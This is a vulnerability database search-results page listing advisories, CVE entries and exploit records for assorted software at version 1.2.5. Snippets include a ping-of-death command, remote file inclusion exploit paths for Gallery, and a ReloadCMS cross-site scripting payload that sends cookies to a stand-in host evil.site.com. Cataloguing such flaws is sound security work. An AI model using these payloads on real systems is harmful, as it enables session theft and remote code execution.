Lucene search
+L

595 matches found

securityvulns
securityvulns
added 2008/03/25 12:00 a.m.36 views

Linksys phone adapter denial of service

Linksys phone adapter denial of service Product Information Product Name: SPA-2102 Serial Number: FM500G582390 Software Version: 3.3.6 Hardware Version: 1.2.5a Another device hit with the PoD! ping -l 65500 192.168.0.1 Only seems to work on the internal network. discovered by sipher...

1.4AI score
SaveExploits0
seebug.org
seebug.org
added 2008/01/18 12:00 a.m.40 views

MyBB多个远程PHP代码执行漏洞

BUGTRAQ ID: 27322 CNCAN ID:CNCAN-2008011706 MyBB是一款基于PHP的WEB应用程序。 MyBB不正确过滤用户提交的URI数据,远程攻击者可以利用漏洞以WEB权限执行任意代码. 问题是由于'forumdisplay.php'和'search.php'脚本对用户提交的'fid'参数处理缺少充分过滤,提交恶意数据,在获得"sid"的情况下,可导致任意代码执行。 MyBulletinBoard MyBulletinBoard 1.2.10 MyBulletinBoard MyBulletinBoard 1.2.5 MyBulletinBoard...

6.9AI score
SaveExploits0
OpenVAS
OpenVAS
added 2008/01/17 12:00 a.m.38 views

Debian Security Advisory DSA 138-1 (gallery)

The remote host is missing an update to gallery announced via advisory DSA 138-1. OpenVAS Vulnerability Test $Id: deb1381.nasl 6616 2017-07-07 12:10:49Z cfischer $ Description: Auto-generated from advisory DSA 138-1 Authors: Thomas Reinke Copyright: Copyright c 2007 E-Soft Inc...

7.5CVSS0.4AI score0.39498EPSS
SaveExploits3
NVD
NVD
added 2007/10/18 9:17 p.m.24 views

CVE-2007-5575

Cross-site request forgery CSRF vulnerability in 1024 CMS 1.2.5 allows remote attackers to perform some actions as administrators, as demonstrated by 1 an unspecified action that creates a file containing PHP code and 2 unspecified use of the forum component. NOTE: the provenance of this...

4.3CVSS7AI score0.00434EPSS
SaveExploits0References2
CVE
CVE
added 2007/10/18 9:00 p.m.51 views

CVE-2007-5575

The CVE-2007-5575 entry concerns CSRF in 1024 CMS 1.2.5 that lets remote attackers perform administrator actions. The available details illustrate two examples: an action that creates a file containing PHP code and an action involving the forum component. The documents do not provide concrete exp...

4.3CVSS7AI score0.00434EPSS
SaveExploits0References2Affected Software1
Prion
Prion
added 2007/06/21 1:30 a.m.22 views

Remote file inclusion

PHP remote file inclusion vulnerability in crontab/runbilling.php in MiniBill 1.2.5 allows remote attackers to execute arbitrary PHP code via a URL in the configincludedir parameter, a different vector than CVE-2006-4489...

7.5CVSS7.7AI score0.64362EPSS
SaveExploits4References3Affected Software1
CVE
CVE
added 2007/06/21 12:38 a.m.60 views

CVE-2007-3306

CVE-2007-3306 describes a PHP remote file inclusion in MiniBill 1.2.5. The flaw is in crontab/run_billing.php where an attacker can cause arbitrary PHP code execution by supplying a URL in the config[include_dir] parameter. The connected documents corroborate MiniBill 1.2.5 as affected and point ...

7.5CVSS7.4AI score0.64362EPSS
SaveExploits2References3Affected Software1
seebug.org
seebug.org
added 2007/06/19 12:00 a.m.36 views

MiniBill 1.2.5 (run_billing.php) Remote File Inclusion Vulnerability

No description provided by source. ======================================================= MiniBill 2007-04-09 v1.2.5 Remote File include Vulnerabilities ======================================================= Found By : Abo0od , [email protected]...

7.1AI score
SaveExploits0
Packet Storm
Packet Storm
added 2007/06/15 12:00 a.m.29 views

TISA2007-01.txt

========================================================================= TeamIntell Security Advisory TISA2007-01 ------------------------------------------------------------------------- Letterman Subscriber Module "Itemid" Script Insertion Vulnerability...

7.4AI score
SaveExploits0
Prion
Prion
added 2007/04/24 8:19 p.m.17 views

Sql injection

SQL injection vulnerability in calendar.php in MyBB aka MyBulletinBoard 1.2.5 and earlier allows remote attackers to execute arbitrary SQL commands via the day parameter in a dayview action...

7.5CVSS9.1AI score0.01061EPSS
SaveExploits1References5Affected Software1
securityvulns
securityvulns
added 2007/04/19 12:00 a.m.144 views

Gallery 1.2.5 <= Remote File Include Vulnerablites

Gallery 1.2.5 = Remote File Include Vulnerablites D.Script: http://www.gnu-darwin.org/packages/x86/www/gallery-1.2.5.tgz Exploit:Path/errors/needinit.php?GALLERYBASEDIR=Shell Exploit:Path/errors/reconfigure.php?GALLERYBASEDIR=Shell Exploit:Path/errors/unconfigured.php?GALLERYBASEDIR=Shell...

0.6AI score
SaveExploits0
Packet Storm
Packet Storm
added 2007/04/17 12:00 a.m.28 views

gal125-rfi.txt

Gallery 1.2.5 = Remote File Include Vulnerablites D.Script: http://www.gnu-darwin.org/packages/x86/www/gallery-1.2.5.tgz Exploit:Path/errors/needinit.php?GALLERYBASEDIR=Shell Exploit:Path/errors/reconfigure.php?GALLERYBASEDIR=Shell Exploit:Path/errors/unconfigured.php?GALLERYBASEDIR=Shell...

7.4AI score
SaveExploits0
seebug.org
seebug.org
added 2007/04/17 12:00 a.m.32 views

Gallery 1.2.5 (GALLERY_BASEDIR) Multiple RFI Vulnerabilities

No description provided by source. Gallery 1.2.5 = Remote File Include Vulnerablites D.Script: http://www.gnu-darwin.org/packages/x86/www/gallery-1.2.5.tgz Exploit:Path/errors/needinit.php?GALLERYBASEDIR=Shell Exploit:Path/errors/reconfigure.php?GALLERYBASEDIR=Shell...

7.1AI score
SaveExploits0
zdt
zdt
added 2007/04/15 12:00 a.m.27 views

Gallery 1.2.5 (GALLERY_BASEDIR) Multiple RFI Vulnerabilities

Exploit for unknown platform in category web applications ============================================================ Gallery 1.2.5 GALLERYBASEDIR Multiple RFI Vulnerabilities ============================================================ Gallery 1.2.5 = Remote File Include Vulnerablites...

7.1AI score
SaveExploits0
exploitpack
exploitpack
added 2007/04/15 12:00 a.m.14 views

Gallery 1.2.5 - GALLERY_BASEDIR Multiple Remote File Inclusions

Gallery 1.2.5 - GALLERYBASEDIR Multiple Remote File Inclusions Gallery 1.2.5 = Remote File Include Vulnerablites D.Script: http://www.gnu-darwin.org/packages/x86/www/gallery-1.2.5.tgz Exploit:Path/errors/needinit.php?GALLERYBASEDIR=Shell Exploit:Path/errors/reconfigure.php?GALLERYBASEDIR=Shell...

0.9AI score
SaveExploits0
Exploit DB
Exploit DB
added 2007/04/15 12:00 a.m.30 views

Gallery 1.2.5 - 'GALLERY_BASEDIR' Multiple Remote File Inclusions

Gallery 1.2.5 = Remote File Include Vulnerablites D.Script: http://www.gnu-darwin.org/packages/x86/www/gallery-1.2.5.tgz Exploit:Path/errors/needinit.php?GALLERYBASEDIR=Shell Exploit:Path/errors/reconfigure.php?GALLERYBASEDIR=Shell Exploit:Path/errors/unconfigured.php?GALLERYBASEDIR=Shell...

5.8AI score
SaveExploits0
NVD
NVD
added 2007/02/15 2:28 a.m.22 views

CVE-2006-7019

phpwcms 1.2.5-DEV and earlier, and 1.1 before RC4, allows remote attackers to execute arbitrary code via crafted arguments to the 1 textevento and 2 emaileventonomeevento parameters to phpwcmscodesnippets/mailfileform.php and sampleextphp/mailfileform.php, which is processed by the renderPHPcode...

7.5CVSS7.5AI score0.02462EPSS
SaveExploits0References4
NVD
NVD
added 2006/12/31 5:00 a.m.15 views

CVE-2006-6886

phpwcms 1.2.5-DEV allows remote attackers to obtain sensitive information via a direct request for 1 files.public-userroot.inc.php or 2 files.private.additions.inc.php in include/inclib/, which reveals the path in various error messages...

5CVSS6.2AI score0.01617EPSS
SaveExploits1References6
exploitpack
exploitpack
added 2006/04/02 12:00 a.m.14 views

ReloadCMS 1.2.5 - Cross-Site Scripting Remote Code Execution

ReloadCMS 1.2.5 - Cross-Site Scripting Remote Code Execution nc target.host.com 80 GET /pathtoreloadcms/ HTTP/1.0 User-Agent: "window.open"http://evil.site.com/grab.php?c="+document.cookie+"&ref="+document.URL;window.close; Host: target.host.com Connection: Close So, when admin see site statistic...

SaveExploits0
zdt
zdt
added 2006/04/02 12:00 a.m.213 views

ReloadCMS <= 1.2.5 Cross Site Scripting / Remote Code Execution Exploit

Exploit for unknown platform in category web applications ======================================================================= ReloadCMS nc target.host.com 80 GET /pathtoreloadcms/ HTTP/1.0 User-Agent:...

7.1AI score
SaveExploits0
Rows per page
Query Builder